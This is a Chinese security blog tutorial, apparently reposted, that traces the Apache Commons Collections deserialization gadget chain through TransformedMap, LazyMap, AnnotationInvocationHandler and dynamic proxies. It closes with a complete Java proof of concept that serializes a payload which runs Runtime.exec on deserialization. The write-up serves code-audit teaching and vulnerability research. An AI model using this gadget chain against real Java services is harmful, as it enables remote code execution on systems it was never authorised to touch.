代码审计-反序列化CC链

admin 2025年6月13日22:18:01评论26 views字数 10097阅读33分39秒阅读模式

1、首先已知恶意接口类Transformer、查看他的实现类,使用Crtl+H

代码审计-反序列化CC链

2、查看InvokerTransformer类,在该类发现到如下问题代码,反射调用传入的任意类

方法,该方法源码如下所示。明显的反射调用,此时就需要定位该方法在那里被调用

代码审计-反序列化CC链

3、查看到TransformedMap的三个方法transformKey、transformValue、checkSetValue三个函数进行了调用,但这三个方法是protected修饰的

代码审计-反序列化CC链

4、到TransformedMap的构造函数,发现传入了一个map和两个Transformer,可以理解为接受一个map并对这个map的key和value做一些操作,因为这是一个保护方法, 我们继续找一下在哪里调用了这个方法。

5、找到静态代码decorate方法

代码审计-反序列化CC链

6、这里就可以完成一个TransformedMap的构造了、这里就需要继续查看那里调用了checkSetValue方法

代码审计-反序列化CC链

7、进入该方法,该方法在进行设置值时会触发调用链,构造最终调用链Poc

代码审计-反序列化CC链

看到transformedMap的类型

代码审计-反序列化CC链

调用后的变量情况

代码审计-反序列化CC链

这个时候我们继续向上寻找调用链,看哪些类调用了setValue方法,按照流程,我应该能找到在AnnotationInvocationHandler这个类的readObject方法里面调用了setValue方法,可是找了一圈,并没有。。。我以为是我jdk版本的问题,于是在jdk下面查看,路径是rt.jar下面的sun.reflect.annotation,发现这个类不是源代码,所以查找调用的时候不会出现。设置jdk

代码审计-反序列化CC链

AnnotationInvocationHandler

到目前为止,我们已经构造出了可以执行命令的恶意链,现在需要找可以进行序列化的链条。

到这一步,正常的代码审计过程中,会采取两种策略,一种是继续向上回溯,找transformKeytransformValuecheckSetValue这几个方法被调用的位置,另一种策略就是全局搜索readObject()方法,看看有没有哪个类直接就调用了这三个方法中的一个或者readObject中有可疑的操作,最后能够间接触发这几个方法。审计中,一般都会把两种策略都试一遍。

现在只要找到一个符合以下条件的类,并且服务端有反序列化的入口,就可以RCE了。

1.该可序列化的类重写了readObject方法;

2.该类在readObject方法中对Map类型的变量进行了键值修改操作,并且这个Map参数是可控的;

查找setValue调用发现在如下类中进行了调用

代码审计-反序列化CC链

具体源码

代码审计-反序列化CC链

首先由于该类是受保护得类,所以需要反射区调用

代码审计-反序列化CC链

遇到的三个问题

第一个问题是setValue,在上面的例子中我们setValue的值直接传入的是一个Runtime对象,但是在AnnotationInvocationHandler类中,这个传入的值并不是我们可控的。

代码审计-反序列化CC链

第二个问题是对于Runtime类,它并不是可序列化的,因为它没有继承Serializable接口,因此我们也需要通过反射来实现。

代码审计-反序列化CC链

第三个问题、执行发现没有触发反序列化,查看对应类的readObject方法,需要满足俩个条件

1、AnnotationInvocationHandler构造函数的第⼀个参数必须是 Annotation的⼦类, 且其中必须含有⾄少⼀个⽅法,假设⽅法名是X;2、被TransformedMap.decorate的Map中必须有⼀个键名为X的元素

首先进行调试发现var7值为空不能触发

代码审计-反序列化CC链

首先来分析第三个问题

我们首先来分析下var7为何为空值,这里需要对应源码来看、

var 7 =var3.get(var6)  va3就是AnnotationInvocationHandler的构造函数的第一个参数的Action.class

var6=var5.getKey()    var6就是AnnotationInvocationHandler的构造函数的第二个参数objectMap

var5 = (Entry)var4.next()

var4 = this.memberValues.entrySet().iterator()

所以经过分析第一个条件就是需要满足构造函数的第二个参数(hashmap)的key要是第一个参数(Action.class)的value,

也就是说AnnotationInvocationHandler构造函数的第一个参数要有方法。

代码审计-反序列化CC链

此时找一个Annotation类的子类

代码审计-反序列化CC链

查看类源码,使用Input方法。

代码审计-反序列化CC链

构造hashmap和AnnotationInvocationHandler的初始化

代码审计-反序列化CC链

在上面的例子中我们setValue的值直接传入的是一个Runtime对象,这里可以看到 在Transformer[]数组里面存储的是一个Runtime.class,而不是Runtime对象。这是因为Runtime并没有实现java.io.Serializable 接⼝的 。是不可被序列化的。而Runtime.class是属于java.lang.Class 。java.lang.Class 是实现了java.io.Serializable 接⼝的。可以被序列化。

代码审计-反序列化CC链

此时我们需要使用InvokerTransformer的形式

代码审计-反序列化CC链

运行后发现直接是通过transformer进行调用了命令执行,不符合反序列化链。

ChainedTransformer

我们可以发现,实际上是对InvokerTransformer类的transform方法连续调用了三次,不由想到在之前的Transformer的实现类中有一个ChainedTransformer,在它的transform方法中就是一个循环调用的形式。

代码审计-反序列化CC链

尝试修改源码

代码审计-反序列化CC链

解决第一个问题传入值不可控

现在我们接着解决上面的第一个问题,就是需要将setValue中的代理替换成我们的Runtime.class,可以通过ConstantTransformer实现。前面讲到了ConstantTransformer的transform方法接收一个输入并返回一个常量,因此我们只需要传入Runtime.class即可

代码审计-反序列化CC链

最终构造代码

代码审计-反序列化CC链

调用链

Gadget chain:  ObjectInputStream.readObject()  

AnnotationInvocationHandler.readObject()    Map.Entry.setValue()     

TransformedMap.checkSetValue()       ChainedTransformer.transform()       

ConstantTransformer.transform()        InvokerTransformer.transform()         Method.invoke()          Class.getMethod()        InvokerTransformer.transform()         Method.invoke()          Runtime.getRuntime()        InvokerTransformer.transform()         Method.invoke()          Runtime.exec()

使用LazyMap利用链
LazyMap和TransformedMap类似,都继承AbstractMapDecorator。代码审计-反序列化CC链
TransformedMap是在写入元素的时候执行transform方法,LazyMap是在其get方法中执行的 this.factory.transform
LazyMap的作用是“懒加载”,在get找不到值的时候,它会调用 this.factory.transform 方法去获取一个值
public Object get(Object key) {         if (!super.map.containsKey(key)) {             Object value = this.factory.transform(key);             super.map.put(key, value);             return value;         } else {             return super.map.get(key);         }     }
this.factory也是我们可以控制的,在构造函数中。
protected LazyMap(Map map, Transformer factory) {     super(map);     if (factory == null) {         throw new IllegalArgumentException("Factory must not be null");     } else {         this.factory = factory;     } }

所以构造poc的时候只要令factory为精心构造的ChainedTransformer就行,因此我们找一下哪里可能调用了LazyMap的get方法。
但是我们在AnnotationInvocationHandler#readObject函数中并没有看到有执行get方法,所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get:
代码审计-反序列化CC链
AnnotationInvocationHandler#invoke看到invoke方向就大概联想到Java的动态代理机制。
动态代理复习
总结为一句话就是,被动态代理的对象调用任意方法都会通过对应的InvocationHandler的invoke方法触发
这里再举个例子说明一下如何自动调用的invoke方法
InvocationHandlerExample.class
InvocationHandlerExample类继承了InvocationHandler,实现了invoke方法,作用是在监控到调用的方法名是get的时候,返回一个特殊字符串 Hacked Object 。
package DayoneAppacheCommon;  import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;  public class App {     public static void main(String[] args) {         InvocationHandler invocationHandler = new InvocationHandlerExample(new HashMap());         Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);         proxymap.put("1","2");         System.out.println(proxymap.get("1"));     } }
App.class
在App类中调用这个InvocationHandlerExample
package DayoneAppacheCommon;   /* * 1、动态代理技术示例 * * */  import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.util.Map;  public class InvocationHandlerExample implements InvocationHandler {     protected Map map;      public  InvocationHandlerExample(Map map){         this.map=map;}      public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {         if(method.getName().compareTo("get")==0){             System.out.println("Hook Method");             return "Hack object";         }         return  method.invoke(this.map,args);     } }
可以看到调用的get方法,但是被我们动态代理中的invoke方法拦截了,返回了Hacked Object
也就是说这个Map对象经过动态代理处理之后,动态代理对象调用任何一个方法时会调用handler中的invoke方法。
我们回看sun.reflect.annotation.AnnotationInvocationHandler,会发现实际上这个类实际就是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到
AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get。
代码审计-反序列化CC链
所以我们只要创建一个LazyMap的动态代理,然后再用动态代理调用LazyMap的某个方法就行了,但是为了反序列化的时候自动触发,我们应该找的是某个重写了readObject方法的类,这个类的readObject方法中可以通过动态代理调用LazyMap的某个方法,其实这和直接调用LazyMap某个方法需要满足的条件几乎是一样的,因为某个类的动态代理与它本身实现了同一个接口。而我们通过分析TransformedMap利用链的时候,已经知道了在AnnotationInvocationHandler的readObject方法中会调用某个Map类型对象的entrySet()方法,而LazyMap以及他的动态代理都是Map类型,所以,一条利用链就这么出来了
对sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); // 创建LazyMap的handler实例 InvocationHandler handler = (InvocationHandler) constructor.newInstance(Action.class, outerMap); // 创建LazyMap的动态代理实例 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);  // 动态代理对象,执行任意方法,都会到invoke中去
代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是 sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹(我们需要的是AnnotationInvocationHandler这个类的对象)
// 创建一个AnnotationInvocationHandler实例,并且把刚刚创建的代理赋值给this.memberValues handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);    // readObject的时候主动调用proxyMap的方法进入到invoke中
完整POC
package DayoneAppacheCommon;  import DayOne.ExamEntity; import
org.apache.commons.collections.ProxyMap; import
org.apache.commons.collections.Transformer; import
org.apache.commons.collections.functors.ChainedTransformer; import 
org.apache.commons.collections.functors.ConstantTransformer; import
org.apache.commons.collections.functors.InvokerTransformer; import
org.apache.commons.collections.map.HashedMap; import
org.apache.commons.collections.map.LazyMap; import 
org.apache.commons.collections.map.TransformedMap; import
org.omg.CORBA.OBJ_ADAPTER;  import javax.xml.ws.Action;
import java.io.*; import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler; 
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy; 
import java.util.Arrays; 
import java.util.HashMap;
import java.util.Map;  public class AppacheThree {      public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {         Transformer[] transformers = new Transformer[] {                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),                 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),                 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})         };         Transformer transformerChain = new ChainedTransformer(transformers);         Map innerMap = new HashMap();         Map outerMap = LazyMap.decorate(innerMap, transformerChain);         Class clazz =                 Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");         Constructor construct = clazz.getDeclaredConstructor(Class.class,                 Map.class);         construct.setAccessible(true);         InvocationHandler handler = (InvocationHandler) construct.newInstance(Action.class, outerMap);         Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);        handler = (InvocationHandler) construct.newInstance(Action.class, proxyMap);         //序列化         ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));         oos.writeObject(handler);          //反序列化         ObjectInputStream objstm = new ObjectInputStream(new FileInputStream("1.txt"));         InvocationHandler handler1 = (InvocationHandler)objstm.readObject();         handler.toString();      } }
这里穿插下内部类和静态内部类
静态内部类:就是我跟你没关系,自己可以完全独立存在,但是我就借你的壳用一下,来隐藏自己。
内部类:就是我是你的一部分,我了解你,我知道你的全部,没有你就没有我。(所以内部类对象是以外部类对象存在为前提的)
内部类先序实例化外部类,然后外部类.new 内部类来实例化
<a href="https://www.cnblogs.com/GrimMjx/p/10105626.html" h"="">https://www.cnblogs.com/GrimMjx/p/10105626.html
问题二:
source和idea反编译出来的代码有差异,此时是jdk版本问题,需要设置正确版本jdk才能正常调试class文件
参考文章
https://www.cnblogs.com/nice0e3/p/13798371.html http://www.codersec.net/2018/01/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-%E7%8E%84%E9%93%81%E9%87%8D%E5%89%91%E4%B9%8BCommonsCollection(%E4%B8%8B)/ https://www.carinago.com/knowledge/%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/02.Java%E5%AE%89%E5%85%A8/2.%E5%90%84%E7%A7%8D%E5%88%86%E6%9E%90/04.Apache_Commons_Collections%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.html#%E4%BD%BF%E7%94%A8lazymap%E5%88%A9%E7%94%A8%E9%93%BE

原文始发于微信公众号(安全宇宙):【创宇小课堂】代码审计-反序列化CC链

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月13日22:18:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计-反序列化CC链https://cn-sec.com/archives/822061.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息